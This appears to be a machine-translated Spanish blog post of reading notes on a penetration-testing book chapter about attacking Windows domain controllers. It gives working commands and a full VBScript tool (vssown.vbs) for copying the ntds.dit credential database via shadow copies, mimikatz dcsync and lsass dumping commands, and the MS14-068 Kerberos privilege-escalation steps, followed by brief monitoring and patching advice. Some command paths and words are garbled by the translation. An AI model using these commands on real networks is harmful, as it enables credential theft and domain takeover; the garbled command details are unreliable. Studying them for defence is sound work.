"Ataque y defensa de la seguridad de la intranet: una guía práctica para las pruebas de penetración" Notas de lectura (6): Seguridad del controlador de dominio

prefacio

En este artículo, continúe leyendo y aprendiendo "Ataque y defensa de la seguridad de la intranet: Guía práctica de pruebas de penetración”. Este capítulo trata sobre la seguridad del controlador de dominio. Presenta el método de uso de los usuarios del dominio Kerberos para aumentar los privilegios y exportar el valor hash en ntds.dit. y ataque contra controladores de dominio Se hacen recomendaciones de seguridad efectivas

En el entorno de red real, el objetivo final de un atacante que se infiltra en la intranet es obtener la autoridad del controlador de dominio, controlando así todo el dominio.

1. Use el Servicio de instantáneas de volumen para extraer ntds.dit

En Active Directory, todos los datos se almacenan en el archivo ntds.dit

  • ntds.dit es un archivo binario, almacenado en DCC:\Windows\NTDS\ntds.dit
  • Contiene toda la información en el dominio, puede exportar información de la computadora y otra información en el dominio analizando ntds.dit
  • Al igual que los archivos SAM, están bloqueados por el sistema

ntds.dit se puede extraer con Volume Shadow Copy Service (VSS) , que es esencialmente una tecnología de instantáneas y se usa principalmente para copias de seguridad y recuperación (incluso si el archivo de destino está bloqueado)

1, ntdsutil.exe

Una herramienta de línea de comandos que proporciona un mecanismo de administración para AD, compatible con Windows Server 2003/2008/2012

//创建快照
ntdsutil snapshot "activate instance ntds" create quit quit
//加载快照
ntdsutil snapshot "mount <GUID>" quit quit
//复制快照中的nitds.dit
copy <加载后快照的位置> c:\tmp:ntds.dit
//删除快照
ntdsutil snapshot "unmount <GUID>" "delete <GUID>" quit quit

2 vssadmin

Herramienta de administración de VSS proporcionada por Windows 7 y servidor 2008

//创建C盘的卷影拷贝
vssadmin create shadow /for=c:
//复制ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\window\NTDS\ntds.dit c:\ntds.dit
//删除拷贝
vssadmin delete shadow /for=c: /quiet

3, vssown.vbs

Script desarrollado por Tim Tomes, similar a vssadmin

El guion es el siguiente

REM Volume Shadow Copy Management from CLI.
REM Part of the presentation "Lurking in the Shadows" by Mark Baggett and Tim "LaNMaSteR53" Tomes.
REM Co-developed by Mark Baggett (@MarkBaggett) and Tim Tomes (@lanmaster53).

Set args = WScript.Arguments

if args.Count < 1  Then
  wscript.Echo "Usage: cscript vssown.vbs [option]"
  wscript.Echo
  wscript.Echo "  Options:"
  wscript.Echo
  wscript.Echo "  /list                             - List current volume shadow copies."
  wscript.Echo "  /start                            - Start the shadow copy service."
  wscript.Echo "  /stop                             - Halt the shadow copy service."
  wscript.Echo "  /status                           - Show status of shadow copy service."
  wscript.Echo "  /mode                             - Display the shadow copy service start mode."
  wscript.Echo "  /mode [Manual|Automatic|Disabled] - Change the shadow copy service start mode."
  wscript.Echo "  /create [drive_letter]            - Create a shadow copy."
  wscript.Echo "  /delete [id|*]                    - Delete a specified or all shadow copies."
  wscript.Echo "  /mount [path] [device_object]     - Mount a shadow copy to the given path."
  wscript.Echo "  /execute [\path\to\file]          - Launch executable from within an umounted shadow copy."
  wscript.Echo "  /store                            - Display storage statistics."
  wscript.Echo "  /size [bytes]                     - Set drive space reserved for shadow copies."
  REM build_off
  wscript.Echo "  /build [filename]                 - Print pasteable script to stdout."REM no_build
  REM build_on
  wscript.Quit(0)
End If

strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")

Select Case args.Item(0)

  Case "/list"
    Wscript.Echo "SHADOW COPIES"
    Wscript.Echo "============="
    Wscript.Echo
    Set colItems = objWMIService.ExecQuery("Select * from Win32_ShadowCopy")
    For Each objItem in colItems
      Wscript.Echo "[*] ID:                  " & objItem.ID
      Wscript.Echo "[*] Client accessible:   " & objItem.ClientAccessible
      Wscript.Echo "[*] Count:               " & objItem.Count
      Wscript.Echo "[*] Device object:       " & objItem.DeviceObject
      Wscript.Echo "[*] Differential:        " & objItem.Differential
      Wscript.Echo "[*] Exposed locally:     " & objItem.ExposedLocally
      Wscript.Echo "[*] Exposed name:        " & objItem.ExposedName
      Wscript.Echo "[*] Exposed remotely:    " & objItem.ExposedRemotely
      Wscript.Echo "[*] Hardware assisted:   " & objItem.HardwareAssisted
      Wscript.Echo "[*] Imported:            " & objItem.Imported
      Wscript.Echo "[*] No auto release:     " & objItem.NoAutoRelease
      Wscript.Echo "[*] Not surfaced:        " & objItem.NotSurfaced
      Wscript.Echo "[*] No writers:          " & objItem.NoWriters
      Wscript.Echo "[*] Originating machine: " & objItem.OriginatingMachine
      Wscript.Echo "[*] Persistent:          " & objItem.Persistent
      Wscript.Echo "[*] Plex:                " & objItem.Plex
      Wscript.Echo "[*] Provider ID:         " & objItem.ProviderID
      Wscript.Echo "[*] Service machine:     " & objItem.ServiceMachine
      Wscript.Echo "[*] Set ID:              " & objItem.SetID
      Wscript.Echo "[*] State:               " & objItem.State
      Wscript.Echo "[*] Transportable:       " & objItem.Transportable
      Wscript.Echo "[*] Volume name:         " & objItem.VolumeName
      Wscript.Echo
    Next
    wscript.Quit(0)

  Case "/start"
    Set colListOfServices = objWMIService.ExecQuery("Select * from Win32_Service Where Name ='VSS'")
    For Each objService in colListOfServices
      objService.StartService()
      Wscript.Echo "[*] Signal sent to start the " & objService.Name & " service."
    Next
    wscript.Quit(0)

  Case "/stop"
    Set colListOfServices = objWMIService.ExecQuery("Select * from Win32_Service Where Name ='VSS'")
    For Each objService in colListOfServices
      objService.StopService()
      Wscript.Echo "[*] Signal sent to stop the " & objService.Name & " service."
    Next
    wscript.Quit(0)

  Case "/status"
    Set colListOfServices = objWMIService.ExecQuery("Select * from Win32_Service Where Name ='VSS'")
    For Each objService in colListOfServices
      Wscript.Echo "[*] " & objService.State
    Next
    wscript.Quit(0)

  Case "/mode"
    Set colListOfServices = objWMIService.ExecQuery("Select * from Win32_Service Where Name ='VSS'")
    For Each objService in colListOfServices
      if args.Count < 2 Then
        Wscript.Echo "[*] " & objService.Name & " service set to '" & objService.StartMode & "' start mode."        
      Else
        mode = LCase(args.Item(1))
        if mode = "manual" or mode = "automatic" or mode = "disabled" Then
          errResult = objService.ChangeStartMode(mode)
          Wscript.Echo "[*] " & objService.Name & " service set to '" & mode & "' start mode."
        Else
          Wscript.Echo "[*] '" & mode & "' is not a valid start mode."
        End If
      END If
    Next
    wscript.Quit(errResult)    

  Case "/create"
    VOLUME = args.Item(1) & ":\"
    Const CONTEXT = "ClientAccessible"
    Set objShadowStorage = objWMIService.Get("Win32_ShadowCopy")
    Wscript.Echo "[*] Attempting to create a shadow copy."
    errResult = objShadowStorage.Create(VOLUME, CONTEXT, strShadowID)
    wscript.Quit(errResult)

  Case "/delete"
    id = args.Item(1)
    Set colItems = objWMIService.ExecQuery("Select * From Win32_ShadowCopy")
    For Each objItem in colItems
      if objItem.ID = id Then
        Wscript.Echo "[*] Attempting to delete shadow copy with ID: " & id
        errResult = objItem.Delete_
      ElseIf id = "*" Then
        Wscript.Echo "[*] Attempting to delete shadow copy " & objItem.DeviceObject & "."
        errResult = objItem.Delete_
      End If
    Next
    wscript.Quit(errResult)

  Case "/mount"
    Set WshShell = WScript.CreateObject("WScript.Shell")
    link = args.Item(1)
    sc = args.Item(2) & "\"
    cmd = "cmd /C mklink /D " & link & " " & sc
    WshShell.Run cmd, 2, true
    Wscript.Echo "[*] " & sc & " has been mounted to " & link & "."
    wscript.Quit(0)

  Case "/execute"
    file = args.Item(1)
    Set colItems = objWMIService.ExecQuery("Select * From Win32_ShadowCopy")
    Set objProcess = objWMIService.Get("Win32_Process")
    For Each objItem in colItems
      path = Replace(objItem.DeviceObject,"?",".") & file
      intReturn = objProcess.Create(path)
      if intReturn <> 0 Then
        wscript.Echo "[*] Process could not be created from " & path & "."
        wscript.Echo "[*] ReturnValue = " & intReturn
      Else
        wscript.Echo "[!] Process created from " & path & "."
        wscript.Quit(0)
      End If
    Next
    wscript.Quit(0)

  Case "/store"
    Wscript.Echo "SHADOW STORAGE"
    Wscript.Echo "=============="
    Wscript.Echo
    Set colItems = objWMIService.ExecQuery("Select * from Win32_ShadowStorage")
    For Each objItem in colItems
        Wscript.Echo "[*] Allocated space:     " & FormatNumber(objItem.AllocatedSpace / 1000000,0) & "MB"
        Wscript.Echo "[*] Maximum size:        " & FormatNumber(objItem.MaxSpace / 1000000,0) & "MB"
        Wscript.Echo "[*] Used space:          " & FormatNumber(objItem.UsedSpace / 1000000,0) & "MB"
        Wscript.Echo
    Next
    wscript.Quit(0)

  Case "/size"
    storagesize = CDbl(args.Item(1))
    Set colItems = objWMIService.ExecQuery("Select * from Win32_ShadowStorage")
    For Each objItem in colItems
      objItem.MaxSpace = storagesize
      objItem.Put_
    Next
    Wscript.Echo "[*] Shadow storage space has been set to " & FormatNumber(storagesize / 1000000,0) & "MB."
    wscript.Quit(0)

  REM build_off
  Case "/build"
    build = 1
    Const ForReading = 1
    Set objFSO = CreateObject("Scripting.FileSystemObject")
    Set objTextFile = objFSO.OpenTextFile("vssown.vbs", ForReading)
    Do Until objTextFile.AtEndOfStream
      strNextLine = objTextFile.Readline
      if InStr(strNextLine,"REM build_off") = 3 Then
        build = 0
      End If
      if strNextLine <> "" and build = 1 Then
        strNextLine = Replace(strNextLine,"&","^&")
        strNextLine = Replace(strNextLine,">","^>")
        strNextLine = Replace(strNextLine,"<","^<")
        wscript.Echo "echo " & strNextLine & " >> " & args.Item(1)
      End If
      if InStr(strNextLine,"REM build_on") = 3 Then
        build = 1
      End If
    Loop
    wscript.Quit(0)
  REM build_on

End Select

4. IFM de ntdsutil

Al usar ntdsutil para crear un IFM, debe generar instantáneas, cargar, copiar ntds.dit y el archivo SAM de la computadora en la carpeta de destino, etc.

ntdsutil "ac i ntds" "ifm" "create full c:/test" q q

Luego copie ntds.dit a c:\test\Active Directory
Copie SYSTEM y SECURITY a c:\test\registry\

Hay un script Copy-VSS.ps1 en Nishang que implementa todo el proceso

5, sombra de disco

diskshadow.exe puede usar VSS y exportar ntds.dit

  • Producido oficialmente por Microsoft, el código está firmado por Microsoft
  • El servidor de Windows 2008, 2012, 2016 viene con el valor predeterminado
  • C:\Windows\system32Debe operar en al exportar ntds.dit

Después de exportar ntds.dit, puede usar reg para volcar system.hive. Debido a que la clave de ntds.dit se almacena en system.hive, la información en ntds.dit no se puede ver sin la clave.

En la prueba de penetración, el archivo de texto que contiene los comandos a ejecutar debe escribirse primero en el sistema de destino remoto, y luego el archivo debe ejecutarse usando diskshadow.exe, que es más flexible. El texto es el siguiente:

//设置卷影拷贝
set context persistent nowriters
//添加卷
add volume c: alias someAlias
//创建快照
create
//分配虚拟磁盘盘符
expose %someAlias% k:
//复制ntds.dit
exec "cmd.exe" /c copy k:\Windows\NTDS\ntds.dit c:\ntds.dit
//列出卷影拷贝
list shadows all
//重置
reset
//退出
exit

6. Prevención

Al monitorear el uso del servicio Volume Shadow Copy, las operaciones maliciosas realizadas por los atacantes en el sistema se pueden descubrir a tiempo:

  • Supervisa el servicio Volume Shadow Copy y cualquier comportamiento sospechoso relacionado con el archivo de la base de datos de Active Directory (ntds.dit)
  • Supervise las instancias sospechosas del ID de evento del sistema 7036 (una señal de que el servicio Volume Shadow Copy ha entrado en un estado de ejecución) y los eventos que crean el proceso vssvc.exe
  • Monitorear eventos que crean diskshadow.exe y procesos secundarios relacionados
  • Supervise los eventos de creación de instancias de diskshadow.exe en los dispositivos cliente (a menos que sea necesario para la empresa, diskshadowexe no debería aparecer en el sistema operativo Wmdows)
  • Supervise los eventos emergentes de mapeo de unidades lógicas a través de registros

2. Exporte el valor hash en ntds.dit

Uso de varias herramientas:

3. Use dcsync para obtener el valor hash del dominio

mimikatz tiene una función dcsync que puede usar Volume Shadow Copy Service VSS para leer directamente ntds.dit y recuperar el valor hash del dominio, lo que requiere privilegios de administrador de dominio

//导出域内所有用户名和散列值
lsadump::dcsync /domain:test.com /all /csv
//导出指定用户Dm散列值
lsadump::dcsync /domain:test.com /User:Dm
//转储lsass.exe进程对散列值进行dump操作
privilege::debug
lsadump::lsa /inject

Hay demasiados resultados de ejecución del comando mimikatz para que se muestren por completo. Puede ejecutar primero el comando de registro (se generará un archivo de texto en el directorio actual para registrar todos los resultados de ejecución de mimikatz)

4. Otros métodos para obtener el valor hash del dominio

1, Metasploit

use auxiliary/admin/amb/psexec_ntdsgrab

2. vshadow.exe y QuarkPwDump.exe

QuarkPwDump para leer de forma rápida, segura y completa todas las cuentas de dominio y hash de dominio
Dirección de descarga: https://github.com/quarkslab/quarkspwdump

Cinco, vulnerabilidad de escalada de privilegios de usuario de dominio de Kerberos

Vulnerabilidad de elevación de privilegios del usuario del dominio Kerberos (MS14-068, CVE-2014-6324, KB3011780)

  • Windows 2012 R2 y versiones anteriores se ven afectados
  • Si un atacante obtiene la autoridad de shell de cualquier computadora en el dominio y también conoce el nombre de usuario, el SID y la contraseña de cualquier usuario del dominio, puede obtener la autoridad de administrador del dominio y luego controlar el DC y finalmente obtener la autoridad del dominio.

El proceso general de inyección de boletos :

  • Verifique la instalación del parche DC (systeminfo, WMIC qfe)
  • Ver el SID del usuario ( whoami /user)
  • Generar ticket de alto privilegio (ms14-068.exe)
  • Ver permisos antes de la inyección ( dir \\\\DC\c$)
  • borrar todos los boletos en la memoria (mimikatz, kerberos::purge)
  • inyectar un ticket de alto privilegio en la memoria ( kerberos::ptc)
  • Verificar permisos

Algunas herramientas:

Sugerencia de reparación:

  • Activar actualización de Windows
  • Parche Manual
  • Controlar cuentas dentro del dominio
  • Deshabilitar contraseñas débiles
  • Cambie su contraseña regularmente y de manera oportuna
  • Instale el software antivirus y actualice la base de datos de virus a tiempo

Epílogo

Principalmente en torno a la adquisición de ntds.dit

Supongo que te gusta

Origin blog.csdn.net/weixin_44604541/article/details/124272768
Recomendado
Clasificación